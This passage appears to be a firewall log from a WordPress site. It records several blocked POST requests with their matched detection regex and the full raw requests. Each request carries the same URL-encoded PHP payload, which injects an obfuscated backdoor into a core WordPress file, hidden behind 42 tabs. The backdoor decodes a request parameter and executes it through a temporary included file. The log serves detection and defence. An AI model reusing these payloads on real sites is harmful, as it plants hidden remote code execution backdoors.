%2520while%2520%2528true%2529%253B%2520%2524data%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524comp%2520%253D%25200%253B%2520do%2520%257B%2520%2524entity%2520%253D%2520%2524data%255B%2524comp%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524comp%2520%253E%253D%2520count%2528%2524data%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524entity%2529%2520%2526%2526%2520is_writable%2528%2524entity%2529%2529%2520%257B%2520%2524binding%2520%253D%2520%2522%2524entity\/.value%2522%253B%2520%2524file%2520%253D%2520fopen%2528%2524binding%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524element%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524binding%253B%2520%2540unlink%2528%2524binding%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524comp%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFIHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2gyMPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:4967\naccept:*\/*\n\nIU=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-application-passwords-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx6D%255Cx61rker%2522%252C%2520%2524_REQUEST%2529%2529%257B%2520%2524res%2520%253D%2520%2524_REQUEST%255B%2522%255Cx6D%255Cx61rker%2522%255D%253B%2520%2524res%2520%253D%2520explode%2520%2528%2520%2527.%2527%2520%252C%2524res%2520%2529%2520%253B%2520%2524element%2520%253D%2520%2527%2527%253B%2520%2524salt4%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt4%2529%253B%2520%2524i%2520%253D%25200%253B%2520%2524__len%2520%253D%2520count%2528%2524res%2529%253B%2520do%2520%257B%2520if%2520%2528%2524i%2520%253E%253D%2520%2524__len%2529%2520break%253B%2520%2524v9%2520%253D%2520%2524res%255B%2524i%255D%253B%2520%2524sChar%2520%253D%2520ord%2528%2524salt4%255B%2524i%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v9%2520-%2520%2524sChar%2520-%2520%2528%2524i%2520%2525%252010%2529%2529%2520%255E%252098%253B%2520%2524element%2520.%253D%2520chr%2528%2524d%2529%253B%2520%2524i%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%2524data%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524comp%2520%253D%25200%253B%2520do%2520%257B%2520%2524entity%2520%253D%2520%2524data%255B%2524comp%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524comp%2520%253E%253D%2520count%2528%2524data%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524entity%2529%2520%2526%2526%2520is_writable%2528%2524entity%2529%2529%2520%257B%2520%2524binding%2520%253D%2520%2522%2524entity\/.value%2522%253B%2520%2524file%2520%253D%2520fopen%2528%2524binding%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524element%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524binding%253B%2520%2540unlink%2528%2524binding%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524comp%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 12:47:48","208.109.188.137","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> rP:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-application-passwords-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx6D%255Cx61rker%2522%252C%2520%2524_REQUEST%2529%2529%257B%2520%2524res%2520%253D%2520%2524_REQUEST%255B%2522%255Cx6D%255Cx61rker%2522%255D%253B%2520%2524res%2520%253D%2520explode%2520%2528%2520%2527.%2527%2520%252C%2524res%2520%2529%2520%253B%2520%2524element%2520%253D%2520%2527%2527%253B%2520%2524salt4%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt4%2529%253B%2520%2524i%2520%253D%25200%253B%2520%2524__len%2520%253D%2520count%2528%2524res%2529%253B%2520do%2520%257B%2520if%2520%2528%2524i%2520%253E%253D%2520%2524__len%2529%2520break%253B%2520%2524v9%2520%253D%2520%2524res%255B%2524i%255D%253B%2520%2524sChar%2520%253D%2520ord%2528%2524salt4%255B%2524i%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v9%2520-%2520%2524sChar%2520-%2520%2528%2524i%2520%2525%252010%2529%2529%2520%255E%252098%253B%2520%2524element%2520.%253D%2520chr%2528%2524d%2529%253B%2520%2524i%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%2524data%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524comp%2520%253D%25200%253B%2520do%2520%257B%2520%2524entity%2520%253D%2520%2524data%255B%2524comp%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524comp%2520%253E%253D%2520count%2528%2524data%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524entity%2529%2520%2526%2526%2520is_writable%2528%2524entity%2529%2529%2520%257B%2520%2524binding%2520%253D%2520%2522%2524entity\/.value%2522%253B%2520%2524file%2520%253D%2520fopen%2528%2524binding%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524element%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524binding%253B%2520%2540unlink%2528%2524binding%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524comp%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpyNvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyvLKAyK3Owo25hMJA0nJ9hVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:4967\naccept:*\/*\n\nrP=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-application-passwords-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx6D%255Cx61rker%2522%252C%2520%2524_REQUEST%2529%2529%257B%2520%2524res%2520%253D%2520%2524_REQUEST%255B%2522%255Cx6D%255Cx61rker%2522%255D%253B%2520%2524res%2520%253D%2520explode%2520%2528%2520%2527.%2527%2520%252C%2524res%2520%2529%2520%253B%2520%2524element%2520%253D%2520%2527%2527%253B%2520%2524salt4%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt4%2529%253B%2520%2524i%2520%253D%25200%253B%2520%2524__len%2520%253D%2520count%2528%2524res%2529%253B%2520do%2520%257B%2520if%2520%2528%2524i%2520%253E%253D%2520%2524__len%2529%2520break%253B%2520%2524v9%2520%253D%2520%2524res%255B%2524i%255D%253B%2520%2524sChar%2520%253D%2520ord%2528%2524salt4%255B%2524i%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v9%2520-%2520%2524sChar%2520-%2520%2528%2524i%2520%2525%252010%2529%2529%2520%255E%252098%253B%2520%2524element%2520.%253D%2520chr%2528%2524d%2529%253B%2520%2524i%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%2524data%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524comp%2520%253D%25200%253B%2520do%2520%257B%2520%2524entity%2520%253D%2520%2524data%255B%2524comp%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524comp%2520%253E%253D%2520count%2528%2524data%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524entity%2529%2520%2526%2526%2520is_writable%2528%2524entity%2529%2529%2520%257B%2520%2524binding%2520%253D%2520%2522%2524entity\/.value%2522%253B%2520%2524file%2520%253D%2520fopen%2528%2524binding%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524element%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524binding%253B%2520%2540unlink%2528%2524binding%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524comp%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 12:48:01","46.32.255.52","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> rN:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-application-passwords-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx6D%255Cx61rker%2522%252C%2520%2524_REQUEST%2529%2529%257B%2520%2524res%2520%253D%2520%2524_REQUEST%255B%2522%255Cx6D%255Cx61rker%2522%255D%253B%2520%2524res%2520%253D%2520explode%2520%2528%2520%2527.%2527%2520%252C%2524res%2520%2529%2520%253B%2520%2524element%2520%253D%2520%2527%2527%253B%2520%2524salt4%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt4%2529%253B%2520%2524i%2520%253D%25200%253B%2520%2524__len%2520%253D%2520count%2528%2524res%2529%253B%2520do%2520%257B%2520if%2520%2528%2524i%2520%253E%253D%2520%2524__len%2529%2520break%253B%2520%2524v9%2520%253D%2520%2524res%255B%2524i%255D%253B%2520%2524sChar%2520%253D%2520ord%2528%2524salt4%255B%2524i%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v9%2520-%2520%2524sChar%2520-%2520%2528%2524i%2520%2525%252010%2529%2529%2520%255E%252098%253B%2520%2524element%2520.%253D%2520chr%2528%2524d%2529%253B%2520%2524i%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%2524data%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524comp%2520%253D%25200%253B%2520do%2520%257B%2520%2524entity%2520%253D%2520%2524data%255B%2524comp%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524comp%2520%253E%253D%2520count%2528%2524data%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524entity%2529%2520%2526%2526%2520is_writable%2528%2524entity%2529%2529%2520%257B%2520%2524binding%2520%253D%2520%2522%2524entity\/.value%2522%253B%2520%2524file%2520%253D%2520fopen%2528%2524binding%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524element%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524binding%253B%2520%2540unlink%2528%2524binding%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524comp%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpx4vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAiozMcMlV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:4967\naccept:*\/*\n\nrN=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-application-passwords-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx6D%255Cx61rker%2522%252C%2520%2524_REQUEST%2529%2529%257B%2520%2524res%2520%253D%2520%2524_REQUEST%255B%2522%255Cx6D%255Cx61rker%2522%255D%253B%2520%2524res%2520%253D%2520explode%2520%2528%2520%2527.%2527%2520%252C%2524res%2520%2529%2520%253B%2520%2524element%2520%253D%2520%2527%2527%253B%2520%2524salt4%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt4%2529%253B%2520%2524i%2520%253D%25200%253B%2520%2524__len%2520%253D%2520count%2528%2524res%2529%253B%2520do%2520%257B%2520if%2520%2528%2524i%2520%253E%253D%2520%2524__len%2529%2520break%253B%2520%2524v9%2520%253D%2520%2524res%255B%2524i%255D%253B%2520%2524sChar%2520%253D%2520ord%2528%2524salt4%255B%2524i%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v9%2520-%2520%2524sChar%2520-%2520%2528%2524i%2520%2525%252010%2529%2529%2520%255E%252098%253B%2520%2524element%2520.%253D%2520chr%2528%2524d%2529%253B%2520%2524i%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%2524data%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524comp%2520%253D%25200%253B%2520do%2520%257B%2520%2524entity%2520%253D%2520%2524data%255B%2524comp%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524comp%2520%253E%253D%2520count%2528%2524data%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524entity%2529%2520%2526%2526%2520is_writable%2528%2524entity%2529%2529%2520%257B%2520%2524binding%2520%253D%2520%2522%2524entity\/.value%2522%253B%2520%2524file%2520%253D%2520fopen%2528%2524binding%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524element%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524binding%253B%2520%2540unlink%2528%2524binding%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524comp%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
